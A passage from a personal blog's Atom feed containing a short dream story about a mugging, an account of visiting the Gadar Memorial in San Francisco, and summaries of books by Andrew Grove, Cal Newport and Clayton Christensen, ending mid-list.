]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/amazon" term="amazon" label="amazon"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/gradle" term="gradle" label="gradle"/></entry><entry><title type="html">A walk in San Francisco</title><link href="https://ashishb.net/short-stories/a-walk-in-san-francisco/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/a-visit-to-gadar-memorial-in-san-francisco/?utm_source=atom_feed" rel="related" type="text/html" title="A visit to Gadar Memorial in San Francisco"/><link href="https://ashishb.net/short-stories/empty-japan-crowded-tokyo/?utm_source=atom_feed" rel="related" type="text/html" title="Empty Japan, crowded Tokyo"/><link href="https://ashishb.net/short-stories/ceylon-air-force-sanskrit/?utm_source=atom_feed" rel="related" type="text/html" title="Sanskrit and Sri Lankan Air Force"/><link href="https://ashishb.net/short-stories/sri-lanka-juice-stall/?utm_source=atom_feed" rel="related" type="text/html" title="At a juice stall in Sri Lanka"/><link href="https://ashishb.net/short-stories/doctors-per-capita/?utm_source=atom_feed" rel="related" type="text/html" title="Doctors per capita"/><id>https://ashishb.net/short-stories/a-walk-in-san-francisco/</id><author><name>Ashish Bhatia</name></author><published>2014-08-01T07:58:08+00:00</published><updated>2014-08-01T07:58:08+00:00</updated><content type="html"><![CDATA[<blockquote>Caught in a vivid dream, a man&rsquo;s encounter with a mugger takes a twist. Discover how a perilous night reveals unexpected details in this intriguing tale.</blockquote><p>&ldquo;Give me your wallet, bro&rdquo; he said in his heavy accent while holding a gun to my forehead. It seems, out of pure curiosity, I have walked into this shady neighborhood of San Francisco. &ldquo;Pull out your wallet,&rdquo; he shouted, &ldquo;and count the cash,&rdquo; this time bringing my full attention to him. I pulled out my wallet, carefully counted all the nickels, pennies and dimes and said, &ldquo;13 dollars, 59 cents, and one Indian Rupee&rdquo;.
&ldquo;That&rsquo;s it,&rdquo; he blustered at the peak of his voice while I stood sweating profusely on a chilly night. He was not amused and pulled the trigger.</p>
<p>&hellip;.
&hellip;.
&hellip;.
&hellip;.
&hellip;.
&hellip;.
&hellip;.
&hellip;.
&hellip;.
&hellip;.
&hellip;.
&hellip;.
&hellip;.
&hellip;.
&hellip;.
&hellip;.</p>
<p>I woke up in the middle of the wintry night with the vivid memory of the dream I had. While stabilizing my heartbeat, out of sheer inquisitiveness, I reached out for my wallet and counted the cash; it had 13 dollars, 59 cents, and 1 Indian Rupee.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/></entry><entry><title type="html">Book summary: Only The Paranoid Survives by Andrew Grove</title><link href="https://ashishb.net/book-summary/only-the-paranoid-survives/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/bogleheads-guide-to-investing/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Bogleheads guide to investing"/><link href="https://ashishb.net/book-summary/influence-the-psychology-of-persuasion/?utm_source=atom_feed" rel="related" type="text/html" title="Influence: The Psychology of Persuasion by Robert B. Cialdini"/><link href="https://ashishb.net/book-summary/think-like-a-freak/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Think like a freak by Steven Levitt and Stephen Dubner"/><link href="https://ashishb.net/book-summary/the-last-lecture/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Last Lecture by Randy Pausch"/><link href="https://ashishb.net/book-summary/so-good-they-cant-ignore-you/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: So good they can't ignore you by Cal Newport"/><id>https://ashishb.net/book-summary/only-the-paranoid-survives/</id><author><name>Ashish Bhatia</name></author><published>2014-07-30T08:14:52+00:00</published><updated>2014-07-30T08:14:52+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the power of navigating 10X inflection points in business. Learn how changes in competition, technology, and customer demands can drive success or failure.</blockquote><p>The   
    
    
<a href="https://amzn.to/1p0PLoy?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> talks about inflection points which, if not handled carefully, are drastic (10x) enough to put a company out of business.</p>
<h2 id="something-changed">Something changed</h2>
<p>In 1994, Intel&rsquo;s Pentium processors suffered from a   
    
    
<a href="https://en.wikipedia.org/wiki/Pentium_FDIV_bug?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">floating-point bug</a>. Surprisingly for Intel, once the consumers became aware of the bug, rather than reaching out to manufacturers, they were calling Intel directly. It became obvious at that point that Intel has become a household name. Even though it&rsquo;s selling to enterprises, consumers think of it as a consumer electronics company and have the same expectations of customer service.</p>
<h2 id="a-10-x-change">A &ldquo;10 X&rdquo; change</h2>
<ol>
<li>Power, vigor, and competence of competitors - their focus and funding</li>
<li>Power, vigor, and competence of suppliers - are there a sufficient number of them?</li>
<li>Power, vigor, and competence of customers - are there a few of them or a lot, and how demanding are they?</li>
<li>Power, vigor, and competence of potential competitors - what about those who are not competing today but might come in if the circumstances change?</li>
<li>The possibility of substitution - can some other product/service substitute for your product/service? This is the most deadly.</li>
<li>Power, vigor, and competence of complementors - some products work well with other products. For example, cars need gasoline.</li>
</ol>
<p>A sudden change in the magnitude of these forces by an order makes it 10X force. A 10X force makes a company go through an inflection point, either the business reaches new heights, or it declines.</p>
<h2 id="the-morphing-of-the-computer-industry">The morphing of the computer industry</h2>
<p>Till 1980, the computer industry was split into vertical competitors. They built chips, OS, as well as application software. After an inflection point, competition became more along horizontal lines. Companies were competing solely on either the chips, OS, or the application software while maintaining compatibility with other players. Compaq, Dell, and Novell became the players who understood the new battle. IBM launched OS/2 which was meant to work with other PC manufacturers. Its name rhymed with IBM&rsquo;s PS/2 and the fact that IBM was competing with these manufacturers in the PC business produced a lot of friction for IBM to market OS/2.</p>
<p>There were three rules which successful companies like Dell, Novell, and Compaq followed</p>
<ol>
<li>Don&rsquo;t differentiate without a difference</li>
<li>Don&rsquo;t fight a new wave of technology instead grab it and,</li>
<li>instead of cost-based pricing, focus on what the market will accept as a price and then work towards cutting costs to make money out of it. This will allow for economies of scale.</li>
</ol>
<h2 id="theyre-everywhere">They&rsquo;re everywhere</h2>
<ol>
<li><strong>10X change in competition</strong>: Walmart has superior logistics than others. Companies that succeeded against it did so by specializing. For example, Home Depot, Office Depot, Toys R Us, etc.</li>
<li><strong>10X change in competition</strong>: Next was built around the vertical industry model. It was aimed at competing against Mac, except that the industry changed in the meanwhile and found itself competing against several PC manufacturers. Next saved itself by becoming a software-only company afterward.</li>
<li><strong>10X change in technology</strong>: From 1927 onwards, movies started to have sound. Some actors lived in denial while some accepted the change and became successful.</li>
<li><strong>10X change in technology</strong>: When ship containerization was introduced, Seattle and Singapore became major ports by modernizing themselves.</li>
<li><strong>10X change in technology</strong>: When PCs were introduced, DEC, who transitioned the world from IBM&rsquo;s mainframes to DEC&rsquo;s minicomputers, failed to acknowledge that PCs would disrupt them.</li>
<li><strong>10X change in customer</strong>: In the 1920s, Ford failed to acknowledge that customers are looking for more style and leisure than its standard Model T. GM won by introducing those models. The supercomputer industry (and Cray Computer Corp.) died at the end of the cold war as computing based moved to microprocessors and government spending dried up.</li>
<li><strong>10X change in suppliers</strong>: Travel agent commissions used to be the third-largest cost for airlines after labor and fuel. Eventually, airlines started to put a cap on commissions.</li>
<li><strong>10X change in complementors</strong>: The PC industry and Intel are mutually dependent, any changes to one impact the other. (Ashish&rsquo;s note: both Intel&rsquo;s processors and the PC industry are struggling as of 2014).</li>
<li><strong>10X change in regulation</strong>: In 1906, the Food and Drugs Act was passed mandating that all medicines must label their ingredients. So, things like morphine and cannabis have to be either removed, or the company will lose the market share.</li>
<li><strong>10X change in regulation</strong>: In 1968, FCC ruled that telephone companies cannot mandate their equipment for customers. Bell System&rsquo;s monopoly in equipment was lost. Its monopoly was reduced even further when in 1984, AT&amp;T finished its voluntary break up into six baby Bells. The new baby Bells learned that they need to prepare for competition. The privatization of state-owned companies produces the same impact where they either fail or learn to become good at marketing.</li>
</ol>
<h2 id="why-not-do-it-ourselves">Why not do it ourselves</h2>
<p>Intel started in 1968 and by 1984, its primary revenue line, that is, memories was struggling against Japanese competitors. CEO Gordon Moore and Andy realized that if they bring in a new CEO, he will get Intel out of the memory business. Therefore, they decided that Intel should get out of the memory business. 4 out of 5 fabs were already producing microprocessor chips instead of memories because the fab resources were being reallocated automatically based on profits. There was a lot of political turmoil internally. Customers were not surprised since they were expecting this. The complete focus on 386 processors became a huge success.
<strong>Lesson</strong>: When a new CEO is brought in, usually when the company is struggling, he succeeds not because he is better but because he does not have the same emotional attachment to the obsolete past as the previous one.</p>
<h2 id="signal-or-noise">Signal or Noise</h2>
<p>A signal which might be indicating a 10X change should be evaluated regularly, it could be noise initially and might become an important indicator later.
<strong>X-ray</strong> - Intel felt X-ray-based lithography is noise while IBM felt it&rsquo;s a signal and is spending a lot of resources on it.
<strong>RISC vs CISC</strong> - For a short period, there was a fear that CISC will become obsolete and RISC will take over. Intel worked on the 860 series (RISC), which was backward-incompatible with the 386 series and 486 series (CISC). Eventually, they realized that it&rsquo;s the noise and advantages which RISC has to offer over CISC are not substantial enough for PC manufacturers to make a switch.</p>
<p>How to differentiate between a signal and a noise?</p>
<ol>
<li>Is your key competitor about to change - use the &ldquo;silver bullet test&rdquo; (whom would you kill if you have only one bullet left) to find who is a key competitor.</li>
<li>Is your key complementor about to change - has the current key complementor become less important, is there a different company taking its place?</li>
<li>Do people seem to be &ldquo;losing it&rdquo; around you - you and your management were selected by evolution to be the best persons to handle original business, if it&rsquo;s being disrupted, the very process which got you and your associates where you are might retard your ability to recognize the trend.</li>
</ol>
<p>Middle management, especially in sales, is the first one to notice that &ldquo;something&rdquo; has changed, they might lack perspective or expertise but have much more exposure than the top-level management to the outside world. Think of these individuals as messengers and never &ldquo;shoot the messenger&rdquo; for bringing bad news.
<strong>First version trap</strong>: The quality of the first version of new technology is usually shoddy, but one should think about its long-term potential and significance assuming that the quality will eventually become good.
Debates are difficult, challenging, and important, it&rsquo;s never clear on how to navigate inflection points, and therefore, debates which bring in different perspectives are important.</p>
<h2 id="let-chaos-reign">Let Chaos Reign</h2>
<p>The inertia of Success: Senior managers prefer to spend time on the same old strategies since they are good at it, they find it uncomfortable to focus on the new one and hence, fail when inflection points are encountered.
Some experimentation is necessary to prepare for inflection points. It&rsquo;s better to start early when revenues and profits from current products are strong than to start late when revenues are declining and competitors have already captured significant market share.</p>
<h2 id="rein-in-chaos">Rein in Chaos</h2>
<p>To cross the chaotic valley of death (&ldquo;inflection point&rdquo;), one should come up with simplified directions. For example, as Intel was struggling in the memory business, a new direction was &ldquo;Intel, the microcomputer company&rdquo;. Such directions set up further actionable directions - e.g. for Intel, half of the managers should learn or will be replaced with people who knew the software, and the resources (physical or human) should be shifted accordingly. While navigating inflection points, everyone needs to aim for one single direction, don&rsquo;t split the company along multiple directions, hedging is expensive and dilutes commitment, and facing competition with only half the resources is dangerous.
It&rsquo;s important to make the message clear to the media since employees put more weight on what they hear from outside. Executives&rsquo; calendar appointments should emphasize the new direction as well. The companies that succeed have a good dialectic between top-down (coming from CEO) and bottom-up (coming from middle-level managers) actions.</p>
<h2 id="the-internet-signal-or-noise---threat-or-promise">The Internet Signal or Noise - Threat or Promise</h2>
<p>(Ashish&rsquo;s note: This chapter is obsolete for people growing up as a part of the Internet generation as it does not provide any useful knowledge)</p>
<h2 id="career-inflection-points">Career Inflection Points</h2>
<p>Be always alert and aware of changes in the environment. Keep an eye on whether your company is losing ground to competitors (implying job change for you) or if the whole sector is being transformed (implying skill acquisition for you).
Whenever you believe that a career inflection point is coming, inactivity is dangerous, choose a direction, and commit yourself fully to navigating the valley of death.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/andy-grove" term="andy-grove" label="andy-grove"/></entry><entry><title type="html">A visit to Gadar Memorial in San Francisco</title><link href="https://ashishb.net/short-stories/a-visit-to-gadar-memorial-in-san-francisco/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/doctors-per-capita/?utm_source=atom_feed" rel="related" type="text/html" title="Doctors per capita"/><link href="https://ashishb.net/short-stories/made-in-america/?utm_source=atom_feed" rel="related" type="text/html" title="Made in America"/><link href="https://ashishb.net/short-stories/the-clash-of-expectations/?utm_source=atom_feed" rel="related" type="text/html" title="The clash of cultural expectations"/><link href="https://ashishb.net/politics/thoughts-on-bureaucrats-technocrats-and-politicians/?utm_source=atom_feed" rel="related" type="text/html" title="Thoughts on Bureaucrats, Technocrats and Politicians"/><link href="https://ashishb.net/travel/miami/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Miami Florida"/><id>https://ashishb.net/short-stories/a-visit-to-gadar-memorial-in-san-francisco/</id><author><name>Ashish Bhatia</name></author><published>2014-07-05T05:42:10+00:00</published><updated>2014-07-05T05:42:10+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the hidden Gadar Memorial in San Francisco, a neglected historical gem. Discover its story and access challenges, plus a thought-provoking departure note.</blockquote><h2 id="getting-inside">Getting Inside</h2>
<p>After getting misdirected once to 436 Hill St, San Francisco which is the old original address which does not exist anymore, I eventually reached   
    
    
<a href="https://www.google.com/maps/place/5&#43;Wood&#43;St/@37.783655,-122.449351,3a,90y,265h,90t/data=!3m4!1e1!3m2!1sa_IVMyHPhbxT1bXHJrv62A!2e0!4m2!3m1!1s0x80858735a877d199:0xd6f37e7cfd030209!6m1!1e1?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">5 Wood St, San Francisco</a>.</p>
<p>It was the time of sunset, I knew I was late, but finally, it felt good to see a nondescript apartment marked &ldquo;Gadar memorial&rdquo;. Least, I expected locked doors. I did not drive 40 miles to stand in front of this locked door. There must be a way to get in, I contemplated, as I noticed an Indian woman walking upstairs towards me.
&ldquo;I am here to see Gadar Party&rsquo;s office&rdquo;, I asked as she stammered while replying in English.
&ldquo;हिंदी बोलती है आप ?&rdquo;, I inquired.
&ldquo;जी हाँ&rdquo;, she confirmed.
&ldquo;मैं आशीष, south bay से आया हूँ ग़दर स्मारक देखना था । &ldquo;, I said, while pointing towards the building.
&ldquo;आपके पास consulate से permission है?&rdquo;, she asked.
&ldquo;consulate से permission?&rdquo;, I inquired.
&ldquo;consulate से बिना permission लिए यहाँ आना मना है । &ldquo;, she confirmed.
Even for bureaucratic Indian govt, taking permission from the consulate to visit a first world war era memorial is perplexing. I believe this is the only such Indian memorial in the western hemisphere. Of course, I was not ready to yield and drive back another 40 miles before paying the homage. We both stood there motionless with an awkward silence.
Someone had to blink, thankfully, she did.
&ldquo;एक बार मैं अपने husband से बात करती हूँ । &ldquo;, she said.
She unlocked the door and went inside, and after some chatter, they both came out, and after some quick conversation, he allowed me in to visit the memorial. The rest of the discussion with them was pretty friendly.</p>
<h2 id="inside">Inside</h2>
<p>The memorial consists of a single hall with locked showcases filled with books in English, Hindi, Punjabi, and Urdu. A few posters and pictures were hanging on the wall, labeled in one or the other of the languages mentioned above. I didn&rsquo;t visit the memorial expecting an audio tour but not finding English, or Hindi labels on the items were depressing. The whole space lacked maintenance. After thanking the Indian couple who seems to have been appointed by the consulate to maintain the place, I left half an hour later. The treatment of the memorial, which is the last symbol of this movement and Indian students who started it, by Indian govt is deplorable. Especially, given the fact that this is the only memorial of its kind in the USA.</p>
<h2 id="departing-thoughts">Departing thoughts</h2>
<p>The treatment met out to defenders of the nation, dead or alive, uniform wearing or revolutionary, determines its destiny. A second world war story of France vs. the UK is apt in this context. &ldquo;Before World War II, it was not uncommon to see placards hanging outside some restaurants in Paris which read &ldquo;Dogs, lackeys, and soldiers not allowed&rdquo;. On the other hand, even pregnant women used to get up and offer seats to soldiers on London buses. When the war broke out, France capitulated in no time while Britain remained undefeated.&rdquo; [   
    
    
<a href="https://www.sify.com/news/why-india-is-not-a-great-nation-news-features-jknmHudicfe.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>]</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Book Summary: So good they can't ignore you by Cal Newport</title><link href="https://ashishb.net/book-summary/so-good-they-cant-ignore-you/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/think-like-a-freak/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Think like a freak by Steven Levitt and Stephen Dubner"/><link href="https://ashishb.net/book-summary/the-innovators-dilemma/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Innovator's Dilemma by Clayton Christensen"/><link href="https://ashishb.net/book-summary/the-education-of-millionaires/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Education of Millionaires by Michael Ellsberg"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><id>https://ashishb.net/book-summary/so-good-they-cant-ignore-you/</id><author><name>Ashish Bhatia</name></author><published>2014-06-16T07:42:31+00:00</published><updated>2014-06-16T07:42:31+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why passion alone isn&rsquo;t enough for career success. Explore rules on skill-building, control, and mission to craft a fulfilling and impactful career.</blockquote><p>The   
    
    
<a href="https://amzn.to/1lro3EV?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> is an excellent collection of rules which the author discovered while finishing his Ph.D. and transitioning into a full-time faculty position.</p>
<blockquote>
<p>Working right trumps finding the right work.</p></blockquote>
<h2 id="rule-1-dont-follow-your-passion">Rule #1: Don&rsquo;t follow your passion</h2>
<ol>
<li>Passion hypothesis assumes that there is a pre-existing passion and key to occupational happiness is to find a job that matches that passion. If Steve Jobs continued onto his passion, he might have lived a life as a Buddhist monk. (Ashish&rsquo;s note: During his India visit, Jobs began to   
    
    
<a href="https://www.firstbiz.com/corporate/why-steve-jobs-love-affair-with-india-ended-very-very-early-21586.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">admire</a> Edison more than Neem Karoli Baba.) But he pursued building PCs which at least for an initial period of his life was not his passion. The danger of passion hypothesis lies in the fact that as soon as someone starts feeling dissatisfied about their work, they start thinking that there is some other magic job which is their passion and they should pursue that. The passion mindset is selfish. It demands the world to offer you something which you believe is the right job for you. Of course, some rare individuals have passion, but that&rsquo;s more of an exception than the norm.</li>
<li>Compelling careers often have complex origins that reject the simple idea that all you have to do is to follow your passion.</li>
<li>Job - which provides money on day to day basis
Career - a path towards increasingly better work
Calling - a work which is an integral part of one&rsquo;s life and identity</li>
<li>Self-determination theory - intrinsic motivation for work comes from three factors - autonomy, competence, and relatedness. Autonomy is the feeling of control over day to work and that your actions are important. Competence is the feeling that you are good at what you do. Relatedness is the feeling of connection to other people.</li>
</ol>
<h2 id="rule-2-importance-of-skill-be-so-good-they-cant-ignore-you">Rule #2: Importance of skill (Be so good they can&rsquo;t ignore you)</h2>
<ol>
<li>Things that define great work are creativity, impact, and control.</li>
<li>The traits that define great work are rare. To have a rare work opportunity, one has to offer &ldquo;career capital&rdquo; in return.</li>
<li>Career capital - a set of rare and valuable skills pertaining to one&rsquo;s career which one has developed over time. One develops career capital over time by doing hours (10,000-hour rule) of practice. One should allocate the majority of the time to deliberate practice. Deliberate practice is an organized practice aimed at stretching one beyond his/her capabilities with immediate feedback as opposed to allocated to practicing via real work/competition. Deliberate practice stretches a person beyond his/her comfort limits, and hence, it&rsquo;s not enjoyable. For a deliberate practice to succeed, one has to focus and concentrate, as opposed to mindlessly spending time, on it. If you show up and work hard, you will soon hit a performance plateau. Career capital markets can either be winner-take-all, which implies only one skill should be improved continuously or auction, where many forms of career capital are valuable. While building career capital try to seek open gates (&ldquo;easily accessible opportunities&rdquo;) rather than starting from scratch. Starting from scratch sounds lucrative except it&rsquo;s much harder to pull off.</li>
<li>Craftsmen mindset (as opposed to passion mindset) focuses on producing a good outcome and relentlessly improving it irrespective of what you are working on.</li>
<li>The craftsmen mindset cannot be applied if &ldquo;job presents few opportunities to distinguish oneself by developing right skills&rdquo; or (if you believe) &ldquo;job is useless or adds negative value to the world&rdquo; or &ldquo;job forces you to work with people you don&rsquo;t like&rdquo;.</li>
</ol>
<h2 id="rule-3-importance-of-control">Rule #3: Importance of control</h2>
<ol>
<li>Getting more control over what you do and how you do it increases the sense of happiness, engagement, and fulfillment.</li>
<li>First, control trap - It&rsquo;s always dangerous to pursue more control in your life before you have sufficient career capital to offer in exchange.</li>
<li>Second control trap - Once you have acquired sufficient career capital to obtain more control of work life, the employer will fight your efforts in gaining more autonomy.</li>
<li>The law of financial viability - When trying to follow a pursuit which will introduce more control into your life, seeks evidence of whether people are willing to pay for it. If you don&rsquo;t find the evidence, move on. Money is a neutral indicator of whether your pursuit adds any value to their life. Thus, this law helps in evaluating whether a control trap is of the first type or the second.</li>
</ol>
<h2 id="rule-4-importance-of-mission-think-small-act-big">Rule #4: Importance of mission (Think small, act big)</h2>
<ol>
<li>A mission without career capital is not meaningful - missions, just like scientific discoveries, are in the   
    
    
<a href="https://www.practicallyefficient.com/home/2010/09/28/the-adjacent-possible?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">adjacent possible</a> of the frontier of cutting edge. Thus, only those who have acquired meaningful career capital in a field can think of a meaningful mission in that field.
Life of Pardis Sabeti  - She loved Maths in high school. But for undergrad at MIT, she chose Biology since she heard they had a better emphasis on teaching. Then she went to Oxford for a Ph.D. in Genetics (biological anthropology). There she became interested in infectious diseases in Africa. She returned to Harvard School for MD to become a doctor. But she started working with Eric Lander, a geneticist at MIT, in parallel. She then decided that she won&rsquo;t become a doctor but would instead focus on using computational genetics to combat diseases in Africa. Of course, this mission became apparent to her because she was working at the frontiers of current work.</li>
<li>A mission requires little bets - To maximize the chance of success, deploy small (~1-month time frame) concrete experiments which return concrete feedback.</li>
<li>A mission requires marketing - A mission must be an idea which inspires people to remark about it and one should launch it in a venue where such remarking is easy.
Life of   
    
    
<a href="https://gilesbowkett.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Giles Bowkett</a> - He started his career as a screenplay writer, then moved to web design in 1996. His career stagnated afterward, and he began taking courses at a community college, in both liberal arts and tech. Then He launched an open source version of   
    
    
<a href="https://gilesbowkett.blogspot.mx/2008/02/archaeopteryx-ruby-midi-generator.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Archaeopteryx</a> (a Ruby MIDI generator) in 2008 and then spoke at 15 conferences that year about the same. That started his career as Ruby rock star.</li>
<li>Cal Newport&rsquo;s mission-development system - Top level, a guiding statement for the mission; middle level, a month-long exploratory work which forces the person to create new value; produces a concrete result so that, concrete feedback can be collected; and a bottom level, which involves regular background research for the mission.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Book Summary: The Innovator's Dilemma by Clayton Christensen</title><link href="https://ashishb.net/book-summary/the-innovators-dilemma/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/think-like-a-freak/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Think like a freak by Steven Levitt and Stephen Dubner"/><link href="https://ashishb.net/book-summary/so-good-they-cant-ignore-you/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: So good they can't ignore you by Cal Newport"/><link href="https://ashishb.net/book-summary/the-education-of-millionaires/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Education of Millionaires by Michael Ellsberg"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><id>https://ashishb.net/book-summary/the-innovators-dilemma/</id><author><name>Ashish Bhatia</name></author><published>2014-06-07T06:08:06+00:00</published><updated>2014-06-07T06:08:06+00:00</updated><content type="html"><![CDATA[<blockquote>Discover Clayton&rsquo;s insights on how well-managed companies excel at sustainable innovations but often fail at disruptive innovations due to management oversight.</blockquote><p>The   
    
    
<a href="https://amzn.to/1nVg5pl?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> presents Clayton&rsquo;s counter-intuitive thesis on how firms with good management practices and a sound understanding of their customers&rsquo; needs eventually fail at disruptive innovations while still succeeding at sustainable innovations. The book emphasizes that its not engineering but management oversight that leads to the demise of incumbents in the face of disruptive innovations.</p>
<p><strong>One-line summary</strong>: At some point, the incumbent&rsquo;s product&rsquo;s performance exceeds the demand of most customers. Then the &ldquo;edge&rdquo; that these performance metrics provided is lost, and the customers&rsquo; value proposition changes. They start valuing some other metrics, along which a disruptor&rsquo;s product has better performance. The disruptor has an early mover&rsquo;s advantage as well as leading to the demise of the incumbent.</p>
<p>The following are the salient ideas raised in the book.</p>
<p><strong>Sustaining Innovation</strong>: They improve the performance of established products, along with the dimensions of products that mainstream customers in major markets have historically valued. Established firms are usually good at sustained innovations.
<strong>Disruptive Innovation</strong>: They result in the worst performance, along with those established metrics, at least, in near terms; they are usually cheaper in net price, often more expensive on per performance basis; and they start by capturing emerging markets. Disruptive innovations are usually technologically straightforward. New entrants, instead of incumbents, typically make them. Sustaining innovations are typically aimed at moving upward along specific performance metrics, which the leading customers demand, that is, higher-margin products.</p>
<h2 id="impact-of-value-networks">Impact of value networks</h2>
<p>Competing theories</p>
<ol>
<li><strong>Organizational hierarchy as an impediment to innovation</strong>: Since most big companies organize themselves into hierarchical subgroups, it&rsquo;s challenging to make any change/innovation, which can cause conflict among multiple groups, innovation inside the group has much lower friction. That&rsquo;s why these companies succeed at sustained innovation and fail at disruptive innovation, which does not fit well in the organizational chart.</li>
<li><strong>Capabilities and radical technologies as an impediment to innovation</strong>: Big companies have accumulated tons of prior knowledge and domain expertise. When a disruptive innovation comes, it destroys the value of that past knowledge. (ashishb: The author explicitly mentioned that this theory does not work in the cases he studied).</li>
</ol>
<p><strong>Value Networks</strong>: People want to work on things that they believe are valued. Most organizations value things that bring in more revenue. Revenue comes from lead customers. Therefore, these lead customers to determine the direction in which an organization invests its resources. Even when established firms innovated on disruptive technologies and their marketing personnel got a negative response from lead customers, it forced the firms to focus on sustaining current innovation. This paradox creates room for a new entrant to produce disruptive innovation and capture new/small customers. From there, it moves upwards. Eventually, this threatens an established firm, that tries to fight back with a similar product. Such a product usually has a lower profit margin than the previous product. But rather than capturing the new market, that is the new entrant&rsquo;s customers; the incumbent ends up selling to the same top customers leading to reduced profits and, at best, defending a portion of the prior business. Companies, or their sales/marketing personnel, are tied to lead customers since they will generate the most revenues as well as the bonuses for salespeople in the short term.</p>
<h2 id="market-risk-vs-competitive-risk">Market Risk vs. Competitive Risk</h2>
<p>There is always a market risk that a market for an emerging product might not develop. Still, by not taking that risk, incumbents push themselves into competitive threat whereas late entrants, face the risk of entrenched competition.</p>
<h2 id="commoditization-during-sustaining-innovation">Commoditization during sustaining innovation</h2>
<p>Once the product&rsquo;s differentiated specification exceeds market demand, it loses its meaning and becomes a commodity since customers no longer value that specification. (ashishb: Earlier, users saw processor clock speed as a benchmark, but that&rsquo;s not the case anymore, leading to the commoditization of processors destroying the value proposition of Intel).</p>
<h2 id="principles">Principles</h2>
<ol>
<li>Lead customers effectively control the patterns of resource allocation in well-run companies =&gt; align a portion of the organization working on disruptive technology with the right customer
<ol>
<li>Align the whole of the organization to work on new disruptive technology
Micropolis decided to move from an 8&quot; to a 5.25&quot; drive, and its 8&quot; drive lost to competitors, sales had to refocus from mainframe customers to minicomputer manufacturers.  It was a painful move for the whole company.</li>
<li>Align the same organization to work on sustaining as well as disruption
Control Data Corp. (CDC) focused simultaneously on 14&quot; (sustained) and 8&quot; (disruptive). The engineers working on 8&quot; were regularly pulled off to work on customer issues of 14&quot; drives, and the CDC failed badly at the 8&quot; drive. To not repeat the same mistake, they assigned a new facility to the team for working on a 5.25&quot;  drive and captured 20% market.</li>
<li>Create a separate unit in a different facility or spin-off or acquire a new business that will run as a wholly-owned subsidiary - this is the best option. Quantum, an 8&quot; and 5.25&quot; drive maker, created a spin-off Plus Development Corp. with 80% ownership which focused on 3.5&quot;. Eventually, sales of 8&quot; and 5.25&quot; died down, and Quantum took 100% ownership of its spin-off to become the largest producer of 3.5&quot; drives.</li>
</ol>
</li>
<li>Small markets don&rsquo;t solve the growth requirements for large companies =&gt; make a new unit, a spin-off, small enough that little opportunity will be exciting for it
Executives are focused on keeping the share price going up since that makes employees&rsquo; stock options more valuable. If the prices go down, companies lose the most incentivized employees, which are usually the future leaders. Therefore, there is a strong incentive to focus on increasing revenues to keep the investors happy. Directly going into small markets will not add to their bottom line. Therefore, they have three options to deal with small markets.
<ol>
<li>Try to make the small market grow at a faster pace - This is not possible. Small markets cannot satisfy the near-term growth requirement of big organizations. Apple tried to do that with its PDA Newton in 1993. While 43, 000 Apple II in two years was seen as a success in 1979, selling 140, 000 Newton in two years (1993-94) was a failure.</li>
<li>Wait for the market to become large enough and face the competitive risk
